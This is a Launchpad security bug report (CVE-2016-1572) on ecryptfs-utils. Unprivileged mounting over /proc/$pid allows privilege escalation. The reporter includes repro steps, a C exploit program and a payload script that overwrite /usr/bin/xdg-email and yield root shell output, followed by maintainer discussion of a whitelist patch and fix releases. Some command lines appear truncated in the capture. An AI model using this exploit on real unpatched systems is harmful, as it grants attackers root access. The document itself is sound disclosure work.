privilege escalation by mounting over /proc/$pid
| Affects | Status | Importance | Assigned to | Milestone | |
|---|---|---|---|---|---|
| | eCryptfs |
High
|
Tyler Hicks | ||
| | ecryptfs-utils (Ubuntu) |
High
|
Dustin Kirkland | ||
| | Precise |
High
|
Tyler Hicks | ||
| | Trusty |
High
|
Tyler Hicks | ||
| | Vivid |
High
|
Tyler Hicks | ||
| | Wily |
High
|
Tyler Hicks | ||
| | Xenial |
High
|
Dustin Kirkland | ||
Bug Description
An unprivileged user can mount an ecryptfs over /proc/$pid because according to stat(), it is a normal directory and owned by the user. However, the user is not actually permitted to create arbitrary directory entries in /proc/$pid, and ecryptfs' behavior might be enabling privilege escalation attacks with the help of other programs that use procfs.
Repro:
On Ubuntu 15.10 Desktop, as root, install ecryptfs-utils and uidmap. Then, as user, do this:
=======
user2@user-
Enter your login passphrase [user2]:
Enter your mount passphrase [leave blank to generate one]:
Enter your mount passphrase (again):
*******
YOU SHOULD RECORD YOUR MOUNT PASSPHRASE AND STORE IT IN A SAFE LOCATION.
ecryptfs-
THIS WILL BE REQUIRED IF YOU NEED TO RECOVER YOUR DATA AT A LATER TIME.
*******
Done configuring.
Testing mount/write/
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
Inserted auth tok with sig [6105ef336170239a] into the user session keyring
Testing succeeded.
Logout, and log back in to begin using your encrypted directory.
user2@user-
user2@user-
user2@user-
user2@user-
user2@user-
Enter your login passphrase:
Inserted auth tok with sig [85448916757c54dd] into the user session keyring
user2@user-
user2@user-
user2@user-
0 1001 1
ualBox
=======
As you can see, the start of /etc/hostname was clobbered with attacker-controlled content.
Now the interesting part comes: We can only write lines with numbers, and only starting at the start of files, so how does this yield code exec? :D
Bash has an interesting behavior when invoking executable files: If the kernel doesn't recognize a file, bash will try to run it as a shellscript. And then, if that shellscript contains a spew of invalid commands, bash will just keep going (and spit out error messages) until it hits a valid command. When it sees a single line with a valid command, it'll run it, no matter what comes after that. And therefore, this works (after the same preparation as above):
$ grep -bo '/tmp/.*' /usr/bin/xdg-email
4721:/tmp/logo.png \
We need 4721 bytes padding.
"0 1001 1\n" is 9 bytes long, we use it until the remaining padding is a multiple of 10. Every use increments the last digit by one, so we use it 9 times. The remaining padding is 4721-9*9=4640 bytes, which we can fill using 464 times "10 1001 1\n", which is 10 bytes long.
$ rm /proc/$$/uid_map # if it still exists from the last part
$ ln -s /usr/bin/xdg-email /proc/2468/uid_map
$ cat attack.c
#include <err.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv_in) {
if (argc != 3)
errx(1, "bad invocation, want ./attack <pid> <myuid>");
char *pid = argv_in[1];
char *myuid = argv_in[2];
if (strlen(myuid) != 4)
errx(1, "bad uid");
int pad10_count = 464;
int pad9_count = 9;
int total_count = pad10_count + pad9_count;
char *argv[1 + 1 + 3 * total_count + 1];
argv[0] = "newuidmap";
argv[1] = pid;
int j = 2;
for (int i=0; i<pad10_count; i++) {
argv[j++] = "10";
argv[j++] = "1001";
argv[j++] = "1";
}
for (int i=0; i<pad9_count; i++) {
argv[j++] = "1";
argv[j++] = "1001";
argv[j++] = "1";
}
argv[j++] = NULL;
execvp(
err(1, "execvp");
}
$ gcc -o attack attack.c -Wall -std=gnu99
$ ./attack $$ 1001
$ echo -e '#!/bin/sh\necho "owned!"\nid\nkill -9 $PPID' > /tmp/logo.png
$ chmod +x /tmp/logo.png
And now as another user (or root):
lBox:/etc# xdg-email
/usr/bin/xdg-email: line 1: 10: command not found
/usr/bin/xdg-email: line 2: 10: command not found
[...]
/usr/bin/xdg-email: line 472: 1: command not found
/usr/bin/xdg-email: line 473: 1: command not found
owned!
uid=0(root) gid=0(root) groups=0(root)
Killed
Of course, this kind of modification doesn't work for most executables, but it does work for some.
Another way to exploit this without newuidmap might be to confuse polkit about the identity of a connecting process - _polkit_
I'm not sure about what a proper fix for this would look like - maybe just blacklist the dev_t of procfs when checking the result of stat()ing the mountpoint and also require access(".", R_OK|W_OK|X_OK) to be successful? Or you could do what FUSE does and prevent anyone except for the user from accessing the mountpoint.
Related branches
CVE References
| information type: | Private Security → Private |
| information type: | Private → Private Security |
| description: | updated |
| Tyler Hicks (tyhicks) wrote : | #2 |
Here's a patch that implements a blacklist of filesystem types that must not be found at the mount destination path. I'd prefer to implement a whitelist here but I think it would greatly increase the risk of breaking a valid use case.
I'd appreciate review from other eCryptfs maintainers. Thanks!
| Tyler Hicks (tyhicks) wrote : | #3 |
Colin Ian King provided some feedback in an offline email thread, showing support for the whitelist approach. I've tried my best to enumerate all the possible private mount destination filesystem types that we'd see under normal usage.
| Tyler Hicks (tyhicks) wrote : | #4 |
Here's an updated whitelist patch that adds AUFS and Squashfs to the allowed private mount destination whitelist.
| Jann Horn (jann-e) wrote : | #5 |
The whitelist approach looks good to me. (I first wondered whether it would be possible to first mount a FUSE filesystem over /proc/$pid, then mount an ecryptfs over that, but that wouldn't work because unprivileged FUSE wouldn't allow the chdir() to the filesystem root.)
| Marc Deslauriers (mdeslaur) wrote : | #6 |
This is CVE-2016-1572
| information type: | Private Security → Public Security |
The attachment "private-
[This is an automated message performed by a Launchpad user owned by ~brian-murray, for any issue please contact him.]
| tags: | added: patch |
| Changed in ecryptfs-utils (Ubuntu Precise): | |
| importance: | Undecided → High |
| Changed in ecryptfs-utils (Ubuntu Trusty): | |
| importance: | Undecided → High |
| Changed in ecryptfs-utils (Ubuntu Vivid): | |
| importance: | Undecided → High |
| Changed in ecryptfs-utils (Ubuntu Wily): | |
| importance: | Undecided → High |
| Changed in ecryptfs-utils (Ubuntu Xenial): | |
| importance: | Undecided → High |
| Tyler Hicks (tyhicks) wrote : | #8 |
I forgot to put this bug number in the changelog when I uploaded fixes for this issue earlier today. See http://
As for the current Ubuntu development release (Xenial), Dustin Kirkland will be cutting a new upstream ecryptfs-utils release soon, which will include the fix, and then upload that release to Xenial.
| Changed in ecryptfs-utils (Ubuntu Precise): | |
| status: | New → Fix Released |
| Changed in ecryptfs-utils (Ubuntu Trusty): | |
| status: | New → Fix Released |
| Changed in ecryptfs-utils (Ubuntu Vivid): | |
| status: | New → Fix Released |
| Changed in ecryptfs-utils (Ubuntu Wily): | |
| status: | New → Fix Released |
| Changed in ecryptfs-utils (Ubuntu Xenial): | |
| status: | New → Triaged |
| assignee: | nobody → Dustin Kirkland (kirkland) |
| Changed in ecryptfs-utils (Ubuntu Wily): | |
| assignee: | nobody → Tyler Hicks (tyhicks) |
| Changed in ecryptfs-utils (Ubuntu Vivid): | |
| assignee: | nobody → Tyler Hicks (tyhicks) |
| Changed in ecryptfs-utils (Ubuntu Trusty): | |
| assignee: | nobody → Tyler Hicks (tyhicks) |
| Changed in ecryptfs-utils (Ubuntu Precise): | |
| assignee: | nobody → Tyler Hicks (tyhicks) |
| Changed in ecryptfs: | |
| assignee: | nobody → Tyler Hicks (tyhicks) |
| status: | New → Fix Committed |
| Tyler Hicks (tyhicks) wrote : | #9 |
The upstream fix was committed as revision 870:
https:/
| Launchpad Janitor (janitor) wrote : | #10 |
This bug was fixed in the package ecryptfs-utils - 109-0ubuntu1
---------------
ecryptfs-utils (109-0ubuntu1) xenial; urgency=medium
[ Maikel ]
* doc/manpage/
[ Kylie McClain ]
* src/utils/
issues on musl libc (LP: #1514625)
[ Colin Ian King ]
* src/daemon/main.c:
- Static analysis with Clang's scan-build shows that we can potentially
overflow the input buffer if the input is equal or more than the buffer
size. Need to guard against this by:
1. Only reading in input_size - 1 chars
2. Checking earlier on to see if input_size is value to insure that we
read in at least 1 char
[ Tyler Hicks ]
* src/utils/
- Refuse to mount over non-standard filesystems. Mounting over
certain types filesystems is a red flag that the user is doing
something devious, such as mounting over the /proc/self symlink
target with malicious content in order to confuse programs that may
attempt to parse those files. (LP: #1530566)
[ Dustin Kirkland ]
* xenial
-- Dustin Kirkland <email address hidden> Fri, 22 Jan 2016 10:05:35 -0600
| Changed in ecryptfs-utils (Ubuntu Xenial): | |
| status: | Triaged → Fix Released |


Thanks for the report, Jann.
My initial thoughts are that we should blacklist mounting on top of procfs, as you suggested. I'll give it some more thought tomorrow.